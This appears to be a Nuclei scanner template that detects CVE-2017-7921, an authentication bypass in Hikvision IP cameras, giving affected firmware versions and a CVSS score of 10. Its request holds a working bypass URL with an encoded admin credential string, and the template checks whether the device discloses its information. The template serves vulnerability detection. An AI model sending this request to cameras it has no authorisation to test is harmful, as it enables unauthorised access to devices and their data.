id: CVE-2017-7921
info:
  name: Hikvision Authentication Bypass
  author: princechaddha
  severity: critical
  description: An Improper Authentication issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
  reference:
    - http://www.hikvision.com/us/about_10805.html
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01
  tags: cve,cve2017,auth-bypass
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.00
    cve-id: CVE-2017-7921
    cwe-id: CWE-287

requests:
  - method: GET
    path:
      - "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<firmwareVersion>"
        part: body

      - type: word
        words:
          - "application/xml"
        part: header